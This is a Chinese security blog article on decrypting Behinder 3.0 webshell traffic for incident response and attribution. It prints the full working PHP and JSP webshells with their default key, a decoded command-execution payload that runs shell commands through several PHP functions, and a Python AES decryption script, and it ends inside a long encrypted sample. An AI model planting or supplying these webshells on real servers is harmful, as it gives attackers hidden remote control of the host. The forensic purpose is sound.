冰蝎3.0流量分析与还原

黑伞安全

发布于 2020-12-02 16:24:10

5.7K0

发布于 2020-12-02 16:24:10

文章被收录于专栏：黑伞安全黑伞安全

希望这篇文章可以真正帮助那些被打穿的单位识别与溯源。

phpshell

与冰蝎2.0在建立连接时随机生成AES密钥同时明文交换不同是，冰蝎3.0的AES密钥为连接密码32位md5值的前16位，默认连接密码rebeyond。该方法保证了全密文传输，但是依然具有一定的特点。

特征：连接content-length =5464or 5484(占比较多) 基于AES加密和base64编码，解密时通过对shell.php内容的截获获取密钥，具体操作如下所示：

以下为冰蝎3.0webshell

<?php
@error_reporting(0);
session_start();
    $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond
	$_SESSION['k']=$key;
	$post=file_get_contents("php://input");
	if(!extension_loaded('openssl'))
	{
		$t="base64_"."decode";
		$post=$t($post."");
		
		for($i=0;$i<strlen($post);$i++) {
    			 $post[$i] = $post[$i]^$key[$i+1&15]; 
    			}
	}
	else
	{
		$post=openssl_decrypt($post, "AES128", $key);
	}
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
	class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
?>

捕获流量如下图：

开始还原流量：这时候的应急时也要首先获取到webshell的文件，通过提取文件中的key 也就是该密钥为连接密码32位md5值的前16位作为我们AES的解密密钥

assert|eval(base64_decode('QGVycm9yX3JlcG9ydGluZygwKTsNCg0KZnVuY3Rpb24gZ2V0U2FmZVN0cigkc3RyKXsNCiAgICAkczEgPSBpY29udigndXRmLTgnLCdnYmsvL0lHTk9SRScsJHN0cik7DQogICAgJHMwID0gaWNvbnYoJ2diaycsJ3V0Zi04Ly9JR05PUkUnLCRzMSk7DQogICAgaWYoJHMwID09ICRzdHIpew0KICAgICAgICByZXR1cm4gJHMwOw0KICAgIH1lbHNlew0KICAgICAgICByZXR1cm4gaWNvbnYoJ2diaycsJ3V0Zi04Ly9JR05PUkUnLCRzdHIpOw0KICAgIH0NCn0NCmZ1bmN0aW9uIG1haW4oJGNtZCkNCnsNCiAgICBAc2V0X3RpbWVfbGltaXQoMCk7DQogICAgQGlnbm9yZV91c2VyX2Fib3J0KDEpOw0KICAgIEBpbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLCAwKTsNCiAgICAkcmVzdWx0ID0gYXJyYXkoKTsNCiAgICAkUGFkdEpuID0gQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7DQogICAgaWYgKCEgZW1wdHkoJFBhZHRKbikpIHsNCiAgICAgICAgJFBhZHRKbiA9IHByZWdfcmVwbGFjZSgnL1ssIF0rLycsICcsJywgJFBhZHRKbik7DQogICAgICAgICRQYWR0Sm4gPSBleHBsb2RlKCcsJywgJFBhZHRKbik7DQogICAgICAgICRQYWR0Sm4gPSBhcnJheV9tYXAoJ3RyaW0nLCAkUGFkdEpuKTsNCiAgICB9IGVsc2Ugew0KICAgICAgICAkUGFkdEpuID0gYXJyYXkoKTsNCiAgICB9DQogICAgJGMgPSAkY21kOw0KICAgIGlmIChGQUxTRSAhPT0gc3RycG9zKHN0cnRvbG93ZXIoUEhQX09TKSwgJ3dpbicpKSB7DQogICAgICAgICRjID0gJGMgLiAiIDI+JjFcbiI7DQogICAgfQ0KICAgICRKdWVRREJIID0gJ2lzX2NhbGxhYmxlJzsNCiAgICAkQnZjZSA9ICdpbl9hcnJheSc7DQogICAgaWYgKCRKdWVRREJIKCdzeXN0ZW0nKSBhbmQgISAkQnZjZSgnc3lzdGVtJywgJFBhZHRKbikpIHsNCiAgICAgICAgb2Jfc3RhcnQoKTsNCiAgICAgICAgc3lzdGVtKCRjKTsNCiAgICAgICAgJGtXSlcgPSBvYl9nZXRfY29udGVudHMoKTsNCiAgICAgICAgb2JfZW5kX2NsZWFuKCk7DQogICAgfSBlbHNlIGlmICgkSnVlUURCSCgncHJvY19vcGVuJykgYW5kICEgJEJ2Y2UoJ3Byb2Nfb3BlbicsICRQYWR0Sm4pKSB7DQogICAgICAgICRoYW5kbGUgPSBwcm9jX29wZW4oJGMsIGFycmF5KA0KICAgICAgICAgICAgYXJyYXkoDQogICAgICAgICAgICAgICAgJ3BpcGUnLA0KICAgICAgICAgICAgICAgICdyJw0KICAgICAgICAgICAgKSwNCiAgICAgICAgICAgIGFycmF5KA0KICAgICAgICAgICAgICAgICdwaXBlJywNCiAgICAgICAgICAgICAgICAndycNCiAgICAgICAgICAgICksDQogICAgICAgICAgICBhcnJheSgNCiAgICAgICAgICAgICAgICAncGlwZScsDQogICAgICAgICAgICAgICAgJ3cnDQogICAgICAgICAgICApDQogICAgICAgICksICRwaXBlcyk7DQogICAgICAgICRrV0pXID0gTlVMTDsNCiAgICAgICAgd2hpbGUgKCEgZmVvZigkcGlwZXNbMV0pKSB7DQogICAgICAgICAgICAka1dKVyAuPSBmcmVhZCgkcGlwZXNbMV0sIDEwMjQpOw0KICAgICAgICB9DQogICAgICAgIEBwcm9jX2Nsb3NlKCRoYW5kbGUpOw0KICAgIH0gZWxzZSBpZiAoJEp1ZVFEQkgoJ3Bhc3N0aHJ1JykgYW5kICEgJEJ2Y2UoJ3Bhc3N0aHJ1JywgJFBhZHRKbikpIHsNCiAgICAgICAgb2Jfc3RhcnQoKTsNCiAgICAgICAgcGFzc3RocnUoJGMpOw0KICAgICAgICAka1dKVyA9IG9iX2dldF9jb250ZW50cygpOw0KICAgICAgICBvYl9lbmRfY2xlYW4oKTsNCiAgICB9IGVsc2UgaWYgKCRKdWVRREJIKCdzaGVsbF9leGVjJykgYW5kICEgJEJ2Y2UoJ3NoZWxsX2V4ZWMnLCAkUGFkdEpuKSkgew0KICAgICAgICAka1dKVyA9IHNoZWxsX2V4ZWMoJGMpOw0KICAgIH0gZWxzZSBpZiAoJEp1ZVFEQkgoJ2V4ZWMnKSBhbmQgISAkQnZjZSgnZXhlYycsICRQYWR0Sm4pKSB7DQogICAgICAgICRrV0pXID0gYXJyYXkoKTsNCiAgICAgICAgZXhlYygkYywgJGtXSlcpOw0KICAgICAgICAka1dKVyA9IGpvaW4oY2hyKDEwKSwgJGtXSlcpIC4gY2hyKDEwKTsNCiAgICB9IGVsc2UgaWYgKCRKdWVRREJIKCdleGVjJykgYW5kICEgJEJ2Y2UoJ3BvcGVuJywgJFBhZHRKbikpIHsNCiAgICAgICAgJGZwID0gcG9wZW4oJGMsICdyJyk7DQogICAgICAgICRrV0pXID0gTlVMTDsNCiAgICAgICAgaWYgKGlzX3Jlc291cmNlKCRmcCkpIHsNCiAgICAgICAgICAgIHdoaWxlICghIGZlb2YoJGZwKSkgew0KICAgICAgICAgICAgICAgICRrV0pXIC49IGZyZWFkKCRmcCwgMTAyNCk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgQHBjbG9zZSgkZnApOw0KICAgIH0gZWxzZSB7DQogICAgICAgICRrV0pXID0gMDsNCiAgICAgICAgJHJlc3VsdFsic3RhdHVzIl0gPSBiYXNlNjRfZW5jb2RlKCJmYWlsIik7DQogICAgICAgICRyZXN1bHRbIm1zZyJdID0gYmFzZTY0X2VuY29kZSgibm9uZSBvZiBwcm9jX29wZW4vcGFzc3RocnUvc2hlbGxfZXhlYy9leGVjL2V4ZWMgaXMgYXZhaWxhYmxlIik7DQogICAgICAgICRrZXkgPSAkX1NFU1NJT05bJ2snXTsNCiAgICAgICAgZWNobyBlbmNyeXB0KGpzb25fZW5jb2RlKCRyZXN1bHQpLCAka2V5KTsNCiAgICAgICAgcmV0dXJuOw0KICAgICAgICANCiAgICB9DQogICAgJHJlc3VsdFsic3RhdHVzIl0gPSBiYXNlNjRfZW5jb2RlKCJzdWNjZXNzIik7DQogICAgJHJlc3VsdFsibXNnIl0gPSBiYXNlNjRfZW5jb2RlKGdldFNhZmVTdHIoJGtXSlcpKTsNCiAgICBlY2hvIGVuY3J5cHQoanNvbl9lbmNvZGUoJHJlc3VsdCksICAkX1NFU1NJT05bJ2snXSk7DQp9DQoNCmZ1bmN0aW9uIGVuY3J5cHQoJGRhdGEsJGtleSkNCnsNCglpZighZXh0ZW5zaW9uX2xvYWRlZCgnb3BlbnNzbCcpKQ0KICAgIAl7DQogICAgCQlmb3IoJGk9MDskaTxzdHJsZW4oJGRhdGEpOyRpKyspIHsNCiAgICAJCQkgJGRhdGFbJGldID0gJGRhdGFbJGldXiRrZXlbJGkrMSYxNV07IA0KICAgIAkJCX0NCgkJCXJldHVybiAkZGF0YTsNCiAgICAJfQ0KICAgIGVsc2UNCiAgICAJew0KICAgIAkJcmV0dXJuIG9wZW5zc2xfZW5jcnlwdCgkZGF0YSwgIkFFUzEyOCIsICRrZXkpOw0KICAgIAl9DQp9JGNtZD0ibHMiOw0KbWFpbigkY21kKTs='));

再对其中base编码的数据进行解码内容如下：

@error_reporting(0);

function getSafeStr($str){
    $s1 = iconv('utf-8','gbk//IGNORE',$str);
    $s0 = iconv('gbk','utf-8//IGNORE',$s1);
    if($s0 == $str){
        return $s0;
    }else{
        return iconv('gbk','utf-8//IGNORE',$str);
    }
}
function main($cmd)
{
    @set_time_limit(0);
    @ignore_user_abort(1);
    @ini_set('max_execution_time', 0);
    $result = array();
    $PadtJn = @ini_get('disable_functions');
    if (! empty($PadtJn)) {
        $PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);
        $PadtJn = explode(',', $PadtJn);
        $PadtJn = array_map('trim', $PadtJn);
    } else {
        $PadtJn = array();
    }
    $c = $cmd;
    if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {
        $c = $c . " 2>&1\n";
    }
    $JueQDBH = 'is_callable';
    $Bvce = 'in_array';
    if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) {
        ob_start();
        system($c);
        $kWJW = ob_get_contents();
        ob_end_clean();
    } else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) {
        $handle = proc_open($c, array(
            array(
                'pipe',
                'r'
            ),
            array(
                'pipe',
                'w'
            ),
            array(
                'pipe',
                'w'
            )
        ), $pipes);
        $kWJW = NULL;
        while (! feof($pipes[1])) {
            $kWJW .= fread($pipes[1], 1024);
        }
        @proc_close($handle);
    } else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) {
        ob_start();
        passthru($c);
        $kWJW = ob_get_contents();
        ob_end_clean();
    } else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) {
        $kWJW = shell_exec($c);
    } else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) {
        $kWJW = array();
        exec($c, $kWJW);
        $kWJW = join(chr(10), $kWJW) . chr(10);
    } else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) {
        $fp = popen($c, 'r');
        $kWJW = NULL;
        if (is_resource($fp)) {
            while (! feof($fp)) {
                $kWJW .= fread($fp, 1024);
            }
        }
        @pclose($fp);
    } else {
        $kWJW = 0;
        $result["status"] = base64_encode("fail");
        $result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");
        $key = $_SESSION['k'];
        echo encrypt(json_encode($result), $key);
        return;
        
    }
    $result["status"] = base64_encode("success");
    $result["msg"] = base64_encode(getSafeStr($kWJW));
    echo encrypt(json_encode($result),  $_SESSION['k']);
}

function encrypt($data,$key)
{
	if(!extension_loaded('openssl'))
    	{
    		for($i=0;$i<strlen($data);$i++) {
    			 $data[$i] = $data[$i]^$key[$i+1&15]; 
    			}
			return $data;
    	}
    else
    	{
    		return openssl_encrypt($data, "AES128", $key);
    	}
}$cmd="ls";
main($cmd);

可以看到请求的内容为执行了ls命令

响应内容解密雷同

并附上github师傅们的解密脚本目前只支持php https://github.com/melody27/behinder_decrypt

jspshell

jspwebshell 相对来说也不是很复杂先po一下

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

也要首先获取到webshell的文件，通过提取文件中的key 也就是该密钥为连接密码32位md5值的前16位作为我们AES的解密密钥

请求包解密代码：


#coding:utf-8
import base64
from Crypto.Cipher import AES  
import binascii
import json   #注：python3 安装 Crypto 是 pip3 install -i https://pypi.tuna.tsinghua.edu.cn/simple pycryptodome<br><br>
#解密
def aes_decode(data, key):
    try:
        aes = AES.new(str.encode(key), AES.MODE_ECB)  # 初始化加密器
        decrypted_text = aes.decrypt(data)  # 解密
        decrypted_text = decrypted_text[:-(decrypted_text[-1])]  
    except Exception as e:
        print(e)
    return decrypted_text
 

 
if __name__ == '__main__':
    key = 'e45e329feb5d925b'  # 密钥长度必须为16、24或32位，分别对应AES-128、AES-192和AES-256
/*
* 提示：该行代码过长，系统自动注释不进行高亮。一键复制会移除系统注释 
* data="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